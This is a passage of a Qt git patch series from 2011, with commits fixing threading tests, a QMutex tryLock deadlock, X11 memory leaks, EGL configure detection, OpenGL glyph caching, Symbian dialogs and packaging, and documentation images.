thread2.exit(thread2.code); - - // the thread will now start running - thread2.cond.wait(locker2.mutex()); - - // this will cause it to exit now - thread2.exit(++thread2.code); - QVERIFY(thread2.wait(five_minutes)); - QCOMPARE(thread2.result, thread2.code); - } + Exit_Thread thread2; + thread2.object = 0; + thread2.code = 53; + thread2.result = 0; + QMutexLocker locker2(&thread2.mutex); + thread2.start(); + thread2.exit(thread2.code); + thread2.cond.wait(locker2.mutex()); + QVERIFY(thread2.wait(five_minutes)); + QCOMPARE(thread2.result, thread2.code); } void tst_QThread::start() @@ -545,59 +498,32 @@ void tst_QThread::terminate() void tst_QThread::quit() { - // very similar to exit() above - { - Quit_Thread thread; - thread.object = new Quit_Object; - thread.object->moveToThread(&thread); - thread.result = -1; - QVERIFY(!thread.isFinished()); - QVERIFY(!thread.isRunning()); - - // start the thread, but keep the event loop from starting - // (while the mutex is locked) - QMutexLocker locker(&thread.mutex); - thread.start(); - QVERIFY(thread.isRunning()); - QVERIFY(!thread.isFinished()); - - // unlock the mutex and let the event loop run - // the Quit_Object above will cause the thread to quit - thread.cond.wait(locker.mutex()); - QVERIFY(thread.wait(five_minutes)); - QVERIFY(thread.isFinished()); - QVERIFY(!thread.isRunning()); - QCOMPARE(thread.result, 0); - delete thread.object; - } - - { - Quit_Thread thread2; - thread2.object = 0; - thread2.result = -1; - - // start the thread, but keep the event loop from starting - // (while the mutex is locked) - QMutexLocker locker2(&thread2.mutex); - thread2.start(); - thread2.quit(); // does nothing, the event loop is not running! - - // unlock the mutex and let the event loop run - thread2.cond.wait(locker2.mutex()); - - // there's no Quit_Object so it won't quit on its own - thread2.quit(); - QVERIFY(thread2.wait(five_minutes)); - QCOMPARE(thread2.result, 0); - } -} - -void tst_QThread::execAfterQuit() -{ - ExecAfterQuitThread thread; + Quit_Thread thread; + thread.object = new Quit_Object; + thread.object->moveToThread(&thread); + thread.result = -1; + QVERIFY(!thread.isFinished()); + QVERIFY(!thread.isRunning()); + QMutexLocker locker(&thread.mutex); thread.start(); - QVERIFY(thread.wait()); - QCOMPARE(thread.returnValue, 0); + QVERIFY(thread.isRunning()); + QVERIFY(!thread.isFinished()); + thread.cond.wait(locker.mutex()); + QVERIFY(thread.wait(five_minutes)); + QVERIFY(thread.isFinished()); + QVERIFY(!thread.isRunning()); + QCOMPARE(thread.result, 0); + delete thread.object; + + Quit_Thread thread2; + thread2.object = 0; + thread2.result = -1; + QMutexLocker locker2(&thread2.mutex); + thread2.start(); + thread2.quit(); + thread2.cond.wait(locker2.mutex()); + QVERIFY(thread2.wait(five_minutes)); + QCOMPARE(thread2.result, 0); } void tst_QThread::wait() @@ -1068,17 +994,8 @@ void tst_QThread::QTBUG15378_exitAndExec() Thread thread; thread.value = 0; thread.start(); - thread.exit(42); // will do nothing, this value should not appear - thread.sem1.release(); //should enter the first loop - - Exit_Object *exit_object = new Exit_Object; - exit_object->code = 556; - exit_object->thread = &thread; - QMetaObject::invokeMethod(exit_object, "slot", Qt::QueuedConnection); - exit_object->deleteLater(); - exit_object->moveToThread(&thread); // should exit the first loop - exit_object = 0; - + thread.exit(556); + thread.sem1.release(); //should exit the first loop thread.sem2.acquire(); int v = thread.value; QCOMPARE(v, 556); -- cgit v0.12 From 216b29f0c976405c718c7bb8e24699d368baac7e Mon Sep 17 00:00:00 2001 From: Olivier Goffart Date: Wed, 2 Feb 2011 10:03:51 +0100 Subject: document that QThread::exit will exit future event loops Reviewed-by: Brad --- src/corelib/thread/qthread.cpp | 10 ++++++---- 1 file changed, 6 insertions(+), 4 deletions(-) diff --git a/src/corelib/thread/qthread.cpp b/src/corelib/thread/qthread.cpp index f368192..8223cff 100644 --- a/src/corelib/thread/qthread.cpp +++ b/src/corelib/thread/qthread.cpp @@ -509,10 +509,12 @@ int QThread::exec() Note that unlike the C library function of the same name, this function \e does return to the caller -- it is event processing - that stops. - - This function does nothing if the thread does not have an event - loop. + that stops. + + No QEventLoops will be started anymore in this thread until + QThread::exec() has been called again. If the eventloop in QThread::exec() + is not running then the next call to QThread::exec() will also return + immediately. \sa quit() QEventLoop */ -- cgit v0.12 From 186a9f967394d554ce99b8a3313cbc679b54c7c7 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Samuel=20R=C3=B8dal?= Date: Tue, 1 Feb 2011 17:12:11 +0100 Subject: Fixed es2 configure when both EGL/egl.h and GLES/egl.h are present. Change e0c2861976e06658a1d651941310407c15b0bcde fixed es1 configure by only picking EGL/egl.h if GLES/egl.h is not found. This broke es2 configure on platforms where both EGL/egl.h and GLES/egl.h are present, by picking GLES/egl.h instead of EGL/egl.h, which implicitly pulled in the GLES/gl.h header as well, causing inconsistent declarations due to both GLES2/gl2.h and GLES/gl.h getting included. Instead, we need to prioritize depending on whether we're using es1 or es2. For es1, we prefer GLES/egl.h, and for es2, we prefer EGL/egl.h. If only one of the headers is found we still use it unconditionally, to preserve the existing behaviour and minimize the risk of breaking other platforms. Reviewed-by: Ritt Konstantin Reviewed-by: Marius Storm-Olsen --- configure | 23 ++++++++++++++++------- 1 file changed, 16 insertions(+), 7 deletions(-) diff --git a/configure b/configure index dfbf9bd..5e8ef17 100755 --- a/configure +++ b/configure @@ -6056,19 +6056,28 @@ if [ "$PLATFORM_QWS" = "yes" ]; then fi # QWS +EGL_VARIANT=none # EGL Support if [ "$PLATFORM_X11" = "yes" -o "$PLATFORM_QWS" = "yes" ]; then if [ "$CFG_EGL" != "no" ]; then # detect EGL support - if "$unixtests/compile.test" "$XQMAKESPEC" "$QMAKE_CONFIG" $OPT_VERBOSE "$relpath" "$outpath" "config.tests/unix/egl4gles1" "EGL (GLES/egl.h)" $L_FLAGS $I_FLAGS $l_FLAGS; then - # EGL specified by QMAKE_*_EGL, included with - CFG_EGL=yes - CFG_EGL_GLES_INCLUDES=yes - elif "$unixtests/compile.test" "$XQMAKESPEC" "$QMAKE_CONFIG" $OPT_VERBOSE "$relpath" "$outpath" "config.tests/unix/egl" "EGL (EGL/egl.h)" $L_FLAGS $I_FLAGS $l_FLAGS; then + if "$unixtests/compile.test" "$XQMAKESPEC" "$QMAKE_CONFIG" $OPT_VERBOSE "$relpath" "$outpath" "config.tests/unix/egl" "EGL (EGL/egl.h)" $L_FLAGS $I_FLAGS $l_FLAGS; then # EGL specified by QMAKE_*_EGL, included with + EGL_VARIANT=regular CFG_EGL=yes - CFG_EGL_GLES_INCLUDES=no - else + fi + + # Prefer this variant for ES1 + if [ "$CFG_OPENGL" = "es1" -o "$EGL_VARIANT" = "none" ]; then + if "$unixtests/compile.test" "$XQMAKESPEC" "$QMAKE_CONFIG" $OPT_VERBOSE "$relpath" "$outpath" "config.tests/unix/egl4gles1" "EGL (GLES/egl.h)" $L_FLAGS $I_FLAGS $l_FLAGS; then + # EGL specified by QMAKE_*_EGL, included with + EGL_VARIANT=gles + CFG_EGL=yes + CFG_EGL_GLES_INCLUDES=yes + fi + fi + + if [ "$EGL_VARIANT" = "none" ]; then if [ "$CFG_EGL" = "yes" ]; then echo "The EGL functionality test failed!" echo " EGL is required for OpenGL ES to manage contexts & surfaces." -- cgit v0.12 From 5ad8cd48a1ed3be183c0af8698491b039f0054e4 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Samuel=20R=C3=B8dal?= Date: Tue, 1 Feb 2011 17:59:54 +0100 Subject: Prevent recursion when creating window surface. If we can't access the qt_gl_share_widget() we should just create a raster window surface. This might happen when creating the share widget itself leads to creation of a window surface (which isn't really going to be used anyways). Reviewed-by: Michael Dominic K --- src/plugins/graphicssystems/meego/qmeegographicssystem.cpp | 8 +++++++- 1 file changed, 7 insertions(+), 1 deletion(-) diff --git a/src/plugins/graphicssystems/meego/qmeegographicssystem.cpp b/src/plugins/graphicssystems/meego/qmeegographicssystem.cpp index 20b092e..a70d232 100644 --- a/src/plugins/graphicssystems/meego/qmeegographicssystem.cpp +++ b/src/plugins/graphicssystems/meego/qmeegographicssystem.cpp @@ -42,6 +42,7 @@ #include #include #include +#include #include #include #include @@ -75,7 +76,12 @@ QMeeGoGraphicsSystem::~QMeeGoGraphicsSystem() QWindowSurface* QMeeGoGraphicsSystem::createWindowSurface(QWidget *widget) const { - QGLShareContextScope ctx(qt_gl_share_widget()->context()); + QGLWidget *shareWidget = qt_gl_share_widget(); + + if (!shareWidget) + return new QRasterWindowSurface(widget); + + QGLShareContextScope ctx(shareWidget->context()); QMeeGoGraphicsSystem::surfaceWasCreated = true; QWindowSurface *surface = new QGLWindowSurface(widget); -- cgit v0.12 From 4d38013cfc3058e36de1b6a6c20653ef2688a92b Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Samuel=20R=C3=B8dal?= Date: Tue, 1 Feb 2011 17:57:10 +0100 Subject: Fixed missing text when using static text items in GL 2 engine. When the context is destroyed and recreated, we end up with a new glyph cache, but we only recreate the vertex arrays for the very first static text item. We need to keep track of the glyph cache in each text item, so that we can recreate the vertex arrays and re-populate the cache accordingly. As the pointer might be the same after the glyph cache is recreated, we need to use serial numbers instead. We also need to re-create the cache when the context pointer has been invalidated, so that the static text items also get invalidated, and the texture glyph cache gets repopulated. Reviewed-by: Eskil Abrahamsen Blomfeldt --- src/opengl/gl2paintengineex/qpaintengineex_opengl2.cpp | 13 ++++++++----- src/opengl/gl2paintengineex/qtextureglyphcache_gl.cpp | 3 +++ src/opengl/gl2paintengineex/qtextureglyphcache_gl_p.h | 3 +++ 3 files changed, 14 insertions(+), 5 deletions(-) diff --git a/src/opengl/gl2paintengineex/qpaintengineex_opengl2.cpp b/src/opengl/gl2paintengineex/qpaintengineex_opengl2.cpp index ad2852e..cda31e5 100644 --- a/src/opengl/gl2paintengineex/qpaintengineex_opengl2.cpp +++ b/src/opengl/gl2paintengineex/qpaintengineex_opengl2.cpp @@ -1489,7 +1489,7 @@ namespace { { public: QOpenGLStaticTextUserData() - : QStaticTextUserData(OpenGLUserData), cacheSize(0, 0) + : QStaticTextUserData(OpenGLUserData), cacheSize(0, 0), cacheSerialNumber(0) { } @@ -1501,6 +1501,7 @@ namespace { QGL2PEXVertexArray vertexCoordinateArray; QGL2PEXVertexArray textureCoordinateArray; QFontEngineGlyphCache::Type glyphType; + int cacheSerialNumber; }; } @@ -1518,12 +1519,10 @@ void QGL2PaintEngineExPrivate::drawCachedGlyphs(QFontEngineGlyphCache::Type glyp QGLTextureGlyphCache *cache = (QGLTextureGlyphCache *) staticTextItem->fontEngine()->glyphCache(ctx, glyphType, QTransform()); - if (!cache || cache->cacheType() != glyphType) { + if (!cache || cache->cacheType() != glyphType || cache->context() == 0) { cache = new QGLTextureGlyphCache(ctx, glyphType, QTransform()); staticTextItem->fontEngine()->setGlyphCache(ctx, cache); recreateVertexArrays = true; - } else if (cache->context() == 0) { // Old context has been destroyed, new context has same ptr value - cache->setContext(ctx); } if (staticTextItem->userDataNeedsUpdate) { @@ -1534,8 +1533,11 @@ void QGL2PaintEngineExPrivate::drawCachedGlyphs(QFontEngineGlyphCache::Type glyp recreateVertexArrays = true; } else { QOpenGLStaticTextUserData *userData = static_cast(staticTextItem->userData()); - if (userData->glyphType != glyphType) + if (userData->glyphType != glyphType) { recreateVertexArrays = true; + } else if (userData->cacheSerialNumber != cache->serialNumber()) { + recreateVertexArrays = true; + } } // We only need to update the cache with new glyphs if we are actually going to recreate the vertex arrays. @@ -1580,6 +1582,7 @@ void QGL2PaintEngineExPrivate::drawCachedGlyphs(QFontEngineGlyphCache::Type glyp } userData->glyphType = glyphType; + userData->cacheSerialNumber = cache->serialNumber(); // Use cache if backend optimizations is turned on vertexCoordinates = &userData->vertexCoordinateArray; diff --git a/src/opengl/gl2paintengineex/qtextureglyphcache_gl.cpp b/src/opengl/gl2paintengineex/qtextureglyphcache_gl.cpp index 58c78ec..312d66f 100644 --- a/src/opengl/gl2paintengineex/qtextureglyphcache_gl.cpp +++ b/src/opengl/gl2paintengineex/qtextureglyphcache_gl.cpp @@ -52,12 +52,15 @@ QT_BEGIN_NAMESPACE extern Q_GUI_EXPORT bool qt_cleartype_enabled; #endif +QBasicAtomicInt qgltextureglyphcache_serial_number = Q_BASIC_ATOMIC_INITIALIZER(1); + QGLTextureGlyphCache::QGLTextureGlyphCache(QGLContext *context, QFontEngineGlyphCache::Type type, const QTransform &matrix) : QImageTextureGlyphCache(type, matrix) , ctx(0) , m_width(0) , m_height(0) , m_filterMode(Nearest) + , m_serialNumber(qgltextureglyphcache_serial_number.fetchAndAddRelaxed(1)) { setContext(context); } diff --git a/src/opengl/gl2paintengineex/qtextureglyphcache_gl_p.h b/src/opengl/gl2paintengineex/qtextureglyphcache_gl_p.h index 1c1b7c4..2eb4e65 100644 --- a/src/opengl/gl2paintengineex/qtextureglyphcache_gl_p.h +++ b/src/opengl/gl2paintengineex/qtextureglyphcache_gl_p.h @@ -83,6 +83,8 @@ public: inline void setPaintEnginePrivate(QGL2PaintEngineExPrivate *p) { pex = p; } + inline int serialNumber() const { return m_serialNumber; } + enum FilterMode { Nearest, Linear @@ -140,6 +142,7 @@ private: QGLShaderProgram *m_program; FilterMode m_filterMode; + int m_serialNumber; }; QT_END_NAMESPACE -- cgit v0.12 From 5b89e67619d15e817a81c8f39072a210c7cd5f4c Mon Sep 17 00:00:00 2001 From: Miikka Heikkinen Date: Wed, 2 Feb 2011 13:40:59 +0200 Subject: Fix few QFileDialog static method issues in Symbian^3 - The selected file path now uses slashes instead of Symbian native backslashes as directory separator. - If default file is specified in dir parameter of getSaveFileName in addition to directory, that will be used as default suggested filename. - Clarified documentation a bit. Task-number: QTBUG-17135 Reviewed-by: Janne Koskinen --- src/gui/dialogs/qfiledialog.cpp | 2 +- src/gui/dialogs/qfiledialog_symbian.cpp | 12 ++++++++---- 2 files changed, 9 insertions(+), 5 deletions(-) diff --git a/src/gui/dialogs/qfiledialog.cpp b/src/gui/dialogs/qfiledialog.cpp index 5ff8d1e..27c58a5 100644 --- a/src/gui/dialogs/qfiledialog.cpp +++ b/src/gui/dialogs/qfiledialog.cpp @@ -1770,7 +1770,7 @@ QString QFileDialog::getOpenFileName(QWidget *parent, On Symbian^3 the parameter \a selectedFilter has no meaning and the \a options parameter is only used to define if the native file dialog is - used. + used. On Symbian^3, this function can only return a single filename. \warning Do not delete \a parent during the execution of the dialog. If you want to do this, you should create the dialog yourself using one of the diff --git a/src/gui/dialogs/qfiledialog_symbian.cpp b/src/gui/dialogs/qfiledialog_symbian.cpp index e7197bd..b8ea5e5 100644 --- a/src/gui/dialogs/qfiledialog_symbian.cpp +++ b/src/gui/dialogs/qfiledialog_symbian.cpp @@ -140,11 +140,13 @@ static QString launchSymbianDialog(const QString dialogCaption, const QString st CleanupStack::PushL(extensionFilter); extensionFilter->setFilter(filter); select = AknCommonDialogsDynMem::RunSelectDlgLD(types, target, - startFolder, NULL, NULL, titlePtr, extensionFilter); + startFolder, 0, 0, titlePtr, extensionFilter); CleanupStack::Pop(extensionFilter); } else if (dialogMode == DialogSave) { + QString defaultFileName = QFileDialogPrivate::initialSelection(startDirectory); + target = qt_QString2TPtrC(defaultFileName); select = AknCommonDialogsDynMem::RunSaveDlgLD(types, target, - startFolder, NULL, NULL, titlePtr); + startFolder, 0, 0, titlePtr); } else if (dialogMode == DialogFolder) { select = AknCommonDialogsDynMem::RunFolderSelectDlgLD(types, target, startFolder, 0, 0, titlePtr, NULL, NULL); @@ -160,8 +162,10 @@ static QString launchSymbianDialog(const QString dialogCaption, const QString st startFolder = qt_QString2TPtrC(dir); } } - if (select) - selection.append(qt_TDesC2QString(target)); + if (select) { + QFileInfo fi(qt_TDesC2QString(target)); + selection = fi.absoluteFilePath(); + } #endif return selection; } -- cgit v0.12 From 31492cc049a8dfe7f52748922a88f117499d62a3 Mon Sep 17 00:00:00 2001 From: Denis Dzyubenko Date: Wed, 26 Jan 2011 08:43:34 +0100 Subject: Fixes memory leaks in QX11Embed We should XFree the values returned from XGetWindowProperty. Task-number: QTBUG-16597 Reviewed-by: Ritt Konstantin --- src/gui/kernel/qx11embed_x11.cpp | 7 +++++-- 1 file changed, 5 insertions(+), 2 deletions(-) diff --git a/src/gui/kernel/qx11embed_x11.cpp b/src/gui/kernel/qx11embed_x11.cpp index aba42f2..710f607 100644 --- a/src/gui/kernel/qx11embed_x11.cpp +++ b/src/gui/kernel/qx11embed_x11.cpp @@ -415,8 +415,9 @@ static Bool functor(Display *display, XEvent *event, XPointer arg) status = XGetWindowProperty(display, data->id, ATOM(WM_STATE), 0, 2, False, ATOM(WM_STATE), &ret, &format, &nitems, &after, &retval ); if (status == Success && ret == ATOM(WM_STATE) && format == 32 && nitems > 0) { - long *state = (long *)retval; - if (state[0] == WithdrawnState) { + long state = *(long *)retval; + XFree(retval); + if (state == WithdrawnState) { data->clearedWmState = true; return true; } @@ -833,6 +834,8 @@ bool QX11EmbedWidget::x11Event(XEvent *event) XUnmapWindow(x11Info().display(), internalWinId()); } } + if (prop_return) + XFree(prop_return); } } -- cgit v0.12 From 17ee918b2cd2bb012a538b721bbd888677072614 Mon Sep 17 00:00:00 2001 From: Denis Dzyubenko Date: Wed, 2 Feb 2011 12:54:20 +0100 Subject: Carefull free the data from XGetWindowProperty on X11. Make sure we free the data correctly in case of error. Task-number: QTBUG-16616 Patch-by: Juuso Pakarinen Reviewed-by: Ritt Konstantin --- src/gui/kernel/qwidget_x11.cpp | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) diff --git a/src/gui/kernel/qwidget_x11.cpp b/src/gui/kernel/qwidget_x11.cpp index 9893478..28eb3f0 100644 --- a/src/gui/kernel/qwidget_x11.cpp +++ b/src/gui/kernel/qwidget_x11.cpp @@ -444,6 +444,7 @@ static QVector getNetWmState(QWidget *w) && actualType == XA_ATOM && actualFormat == 32) { returnValue.resize(bytesLeft / 4); XFree((char*) propertyData); + propertyData = 0; // fetch all data if (XGetWindowProperty(X11->display, w->internalWinId(), ATOM(_NET_WM_STATE), 0, @@ -458,7 +459,8 @@ static QVector getNetWmState(QWidget *w) if (!returnValue.isEmpty()) { memcpy(returnValue.data(), propertyData, returnValue.size() * sizeof(Atom)); } - XFree((char*) propertyData); + if (propertyData) + XFree((char*) propertyData); } return returnValue; -- cgit v0.12 From 7987d4cfd3ce86c20a55b5661a5221f12246b27e Mon Sep 17 00:00:00 2001 From: Olivier Goffart Date: Wed, 2 Feb 2011 11:31:20 +0100 Subject: Fix QMutex can deadlock when calling tryLock in the unix code, if the QMutexPrivate::wait() with a timeout expires in the same moment that the mutex is released, wakeup would be set, but would be then ignored. (reset to false quickly after) If we waken up between the timeout and the re-aquisition of the internal mutex, we consider that the mutex has been locked. Reviewed-by: brad Task-number: QTBUG-16115 --- src/corelib/thread/qmutex_unix.cpp | 5 ++++- tests/auto/qmutex/tst_qmutex.cpp | 38 ++++++++++++++++++++++++++++++++++++++ 2 files changed, 42 insertions(+), 1 deletion(-) diff --git a/src/corelib/thread/qmutex_unix.cpp b/src/corelib/thread/qmutex_unix.cpp index 41d87a7..dd7e5d1 100644 --- a/src/corelib/thread/qmutex_unix.cpp +++ b/src/corelib/thread/qmutex_unix.cpp @@ -94,8 +94,11 @@ bool QMutexPrivate::wait(int timeout) errorCode = pthread_cond_timedwait(&cond, &mutex, &ti); } if (errorCode) { - if (errorCode == ETIMEDOUT) + if (errorCode == ETIMEDOUT) { + if (wakeup) + errorCode = 0; break; + } report_error(errorCode, "QMutex::lock()", "cv wait"); } } diff --git a/tests/auto/qmutex/tst_qmutex.cpp b/tests/auto/qmutex/tst_qmutex.cpp index 3c4c767..ea983cb 100644 --- a/tests/auto/qmutex/tst_qmutex.cpp +++ b/tests/auto/qmutex/tst_qmutex.cpp @@ -67,6 +67,7 @@ private slots: void lock_unlock_locked_tryLock(); void stressTest(); void tryLockRace(); + void qtbug16115_trylock(); }; static const int iterations = 100; @@ -464,5 +465,42 @@ void tst_QMutex::tryLockRace() TryLockRaceThread::mutex.unlock(); } +static volatile int qtbug16115_trylock_counter; + +void tst_QMutex::qtbug16115_trylock() +{ + //Used to deadlock on unix + struct TrylockThread : QThread { + TrylockThread(QMutex &mut) : mut(mut) {} + QMutex &mut; + void run() { + for (int i = 0; i < 1000000; ++i) { + if (mut.tryLock(0)) { + Q_ASSERT((++qtbug16115_trylock_counter) == 1); + Q_ASSERT((--qtbug16115_trylock_counter) == 0); + mut.unlock(); + } + } + } + }; + QMutex mut; + TrylockThread t1(mut); + TrylockThread t2(mut); + TrylockThread t3(mut); + t1.start(); + t2.start(); + t3.start(); + + for (int i = 0; i < 1000000; ++i) { + mut.lock(); + Q_ASSERT((++qtbug16115_trylock_counter) == 1); + Q_ASSERT((--qtbug16115_trylock_counter) == 0); + mut.unlock(); + } + t1.wait(); + t2.wait(); + t3.wait(); +} + QTEST_MAIN(tst_QMutex) #include "tst_qmutex.moc" -- cgit v0.12 From a915e0cd275c171b838ccf7105b4463fbc1042e0 Mon Sep 17 00:00:00 2001 From: David Boddie Date: Wed, 2 Feb 2011 14:57:53 +0100 Subject: Doc: Renamed an image to ensure that it does not clash with another. Task-number: QTBUG-17120 --- doc/src/images/combobox.png | Bin 5022 -> 0 bytes doc/src/images/modelview-combobox.png | Bin 0 -> 5022 bytes 2 files changed, 0 insertions(+), 0 deletions(-) delete mode 100755 doc/src/images/combobox.png create mode 100755 doc/src/images/modelview-combobox.png diff --git a/doc/src/images/combobox.png b/doc/src/images/combobox.png deleted file mode 100755 index d172b41..0000000 Binary files a/doc/src/images/combobox.png and /dev/null differ diff --git a/doc/src/images/modelview-combobox.png b/doc/src/images/modelview-combobox.png new file mode 100755 index 0000000..d172b41 Binary files /dev/null and b/doc/src/images/modelview-combobox.png differ -- cgit v0.12 From 4f63245be8494967bc0ecd711a705b9dc5c30960 Mon Sep 17 00:00:00 2001 From: David Boddie Date: Wed, 2 Feb 2011 14:58:56 +0100 Subject: Fixed a bug that caused marked up inline text to be truncated. --- tools/qdoc3/cppcodemarker.cpp | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/tools/qdoc3/cppcodemarker.cpp b/tools/qdoc3/cppcodemarker.cpp index 9ad4d90..1b1e8f2 100644 --- a/tools/qdoc3/cppcodemarker.cpp +++ b/tools/qdoc3/cppcodemarker.cpp @@ -1085,7 +1085,7 @@ QString CppCodeMarker::addMarkUp(const QString &in, } QString text; - if (tag.isEmpty() && i == code.length()) + if ((tag.isEmpty() || second == 1) && i == code.length()) text = code.mid(second - 1, i - second + 1); else text = code.mid(second - 1, i - second); -- cgit v0.12 From cf2f23225414893a7b061fadbde4739165f0c554 Mon Sep 17 00:00:00 2001 From: Miikka Heikkinen Date: Wed, 2 Feb 2011 15:58:14 +0200 Subject: Fix qt.sis platform dependencies for Symbian^3 builds. Symbian^3 build of qt.sis is not compatible with pre-Symbian^3 devices, so remove the platform dependencies to said devices. Task-number: QTBUG-17150 Reviewed-by: Janne Koskinen --- src/s60installs/s60installs.pro | 12 +++++++----- 1 file changed, 7 insertions(+), 5 deletions(-) diff --git a/src/s60installs/s60installs.pro b/src/s60installs/s60installs.pro index 3b705ad..5c89338 100644 --- a/src/s60installs/s60installs.pro +++ b/src/s60installs/s60installs.pro @@ -77,13 +77,19 @@ symbian: { "ENDIF" \ " \"$$bearerStubZ\" - \"c:$$replace(QT_PLUGINS_BASE_DIR,/,\\)\\bearer\\qsymbianbearer$${QT_LIBINFIX}.qtplugin\" } else { + # Restrict deployment to Symbian3 and later platforms + default_deployment.pkg_prerules -= pkg_platform_dependencies + platform_dependency_rules.pkg_prerules = \ + "[0x20022E6D],0,0,0,{\"S60ProductID\"}" \ + "[0x20032DE7],0,0,0,{\"S60ProductID\"}" + # No need to deploy plugins for older platform versions when building on Symbian3 or later qts60plugindeployment = \ " \"$$pluginLocations/qts60plugin_5_0$${QT_LIBINFIX}.dll\" - \"c:\\sys\\bin\\qts60plugin_5_0$${QT_LIBINFIX}.dll\"" bearer_plugin.sources = $$QT_BUILD_TREE/plugins/bearer/qsymbianbearer$${QT_LIBINFIX}.dll bearer_plugin.path = c:$$QT_PLUGINS_BASE_DIR/bearer - DEPLOYMENT += bearer_plugin + DEPLOYMENT += bearer_plugin platform_dependency_rules } qtlibraries.pkg_postrules += qts60plugindeployment @@ -183,10 +189,6 @@ symbian: { contains(QT_CONFIG, openvg) { qtlibraries.sources += $$QMAKE_LIBDIR_QT/QtOpenVG$${QT_LIBINFIX}.dll graphicssystems_plugins.sources += $$QT_BUILD_TREE/plugins/graphicssystems/qvggraphicssystem$${QT_LIBINFIX}.dll - # OpenVG requires Symbian^3 or later - pkg_platform_dependencies = \ - "[0x20022E6D],0,0,0,{\"S60ProductID\"}" \ - "[0x20032DE7],0,0,0,{\"S60ProductID\"}" } contains(QT_CONFIG, opengl) { -- cgit v0.12 From bb6d0f75d4a5d3dadb5e0134aa0270bcab61f205 Mon Sep 17 00:00:00 2001 From: kranthi Date: Wed, 2 Feb 2011 16:57:45 +0200 Subject: Fix for QTBUG-17035 Reviewed-by: Aaron McCarthy Task-number: QTBUG-17035 --- src/plugins/bearer/icd/qnetworksession_impl.cpp | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/src/plugins/bearer/icd/qnetworksession_impl.cpp b/src/plugins/bearer/icd/qnetworksession_impl.cpp index 6d578d3..af5d85e 100644 --- a/src/plugins/bearer/icd/qnetworksession_impl.cpp +++ b/src/plugins/bearer/icd/qnetworksession_impl.cpp @@ -125,9 +125,6 @@ static QString get_network_interface(); void QNetworkSessionPrivateImpl::iapStateChanged(const QString& iapid, uint icd_connection_state) { - if ((publicConfig.type() == QNetworkConfiguration::UserChoice) && opened) { - updateIdentifier(iapid); - } if (((publicConfig.type() == QNetworkConfiguration::UserChoice) && (activeConfig.identifier() == iapid)) || @@ -149,6 +146,9 @@ void QNetworkSessionPrivateImpl::iapStateChanged(const QString& iapid, uint icd_ break; } } + if (publicConfig.type() == QNetworkConfiguration::UserChoice) { + updateIdentifier(iapid); + } } void QNetworkSessionPrivateImpl::cleanupSession(void) -- cgit v0.12 From 5a74d76d9fe9f2a49f5e0d062da590ecc08cf9bb Mon Sep 17 00:00:00 2001 From: Olivier Goffart Date: Tue, 1 Feb 2011 11:42:25 +0100 Subject: Fix leak in QFactoryLoader We need to release the library in case of errors --- src/corelib/plugin/qfactoryloader.cpp | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) diff --git a/src/corelib/plugin/qfactoryloader.cpp b/src/corelib/plugin/qfactoryloader.cpp index 1be32ad..c0b947a 100644 --- a/src/corelib/plugin/qfactoryloader.cpp +++ b/src/corelib/plugin/qfactoryloader.cpp @@ -155,9 +155,11 @@ void QFactoryLoader::update() continue; } QObject *instance = library->instance(); - if (!instance) + if (!instance) { + library->release(); // ignore plugins that have a valid signature but cannot be loaded. continue; + } QFactoryInterface *factory = qobject_cast(instance); if (instance && factory && instance->qt_metacast(d->iid)) keys = factory->keys(); -- cgit v0.12 From 6f313a63d4155b53659917a3f7a71f4de60d0d91 Mon Sep 17 00:00:00 2001 From: Olivier Goffart Date: Wed, 2 Feb 2011 15:47:13 +0100 Subject: Crash in QFileSystemEngine::canonicalName with older libc version Crashed on OpenBSD. POSIX.1-2001 says that the behavior if resolved_path is NULL is implementation-defined. POSIX.1-2008 specifies that the it can be NULL Reviewed-By: Markus Goetz --- src/corelib/io/qfilesystemengine_unix.cpp | 5 +++-- 1 file changed, 3 insertions(+), 2 deletions(-) diff --git a/src/corelib/io/qfilesystemengine_unix.cpp b/src/corelib/io/qfilesystemengine_unix.cpp index 6acd811..8b88ffd 100644 --- a/src/corelib/io/qfilesystemengine_unix.cpp +++ b/src/corelib/io/qfilesystemengine_unix.cpp @@ -174,8 +174,9 @@ QFileSystemEntry QFileSystemEngine::canonicalName(const QFileSystemEntry &entry, if (entry.isEmpty() || entry.isRoot()) return entry; -#ifdef __UCLIBC__ - return QFileSystemEntry::slowCanonicalName(entry); +#if !defined(Q_OS_MAC) && _POSIX_VERSION < 200809L + // realpath(X,0) is not supported + return QFileSystemEntry(slowCanonicalized(absoluteName(entry).filePath())); #else char *ret = 0; # if defined(Q_OS_MAC) && !defined(QT_NO_CORESERVICES) -- cgit v0.12 From 871d80f4a02a645a79c87fd0b02374e950e47aa3 Mon Sep 17 00:00:00 2001 From: David Boddie Date: Wed, 2 Feb 2011 17:05:36 +0100 Subject: Doc: Fixed a reference to the wrong image. Task-number: QTBUG-17120 --- doc/src/tutorials/modelview.qdoc | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/doc/src/tutorials/modelview.qdoc b/doc/src/tutorials/modelview.qdoc index 88cda72..679d2a9 100644 --- a/doc/src/tutorials/modelview.qdoc +++ b/doc/src/tutorials/modelview.qdoc @@ -104,7 +104,7 @@ array of the data elements that the user can change. The table widget can be integrated into a program flow by reading and writing the data elements that the table widget provides. - + This method is very intuitive and useful in many applications, but displaying and editing a database table with a standard table widget can be problematic. Two copies of the data have to be coordinated: one outside the @@ -156,7 +156,7 @@ \o \o \l QColumnView shows a tree as a hierarchy of lists \row - \o \inlineimage combobox.png + \o \inlineimage modelview-combobox.png \o {2, 1} \l QComboBox can work as both a view class and also as a traditional widget \endtable -- cgit v0.12 From a6167267d302b97b94fd350df4b27dc7c9a20ef4 Mon Sep 17 00:00:00 2001 From: Bernhard Rosenkraenzer Date: Thu, 27 Jan 2011 13:48:13 +0100 Subject: Allow the user to select imageformats to be built as plugin vs internal This adds what is already there for different plugin types to imageformats plugins -- allowing the user to configure which image formats will be built into Qt and which will be built as plugins. Merge-request: 1028 Reviewed-by: Oswald Buddenhagen --- configure | 24 +++++++++++++++++++++++- tools/configure/configureapp.cpp | 12 ++++++++++++ 2 files changed, 35 insertions(+), 1 deletion(-) diff --git a/configure b/configure index b11d82d..b60da9e 100755 --- 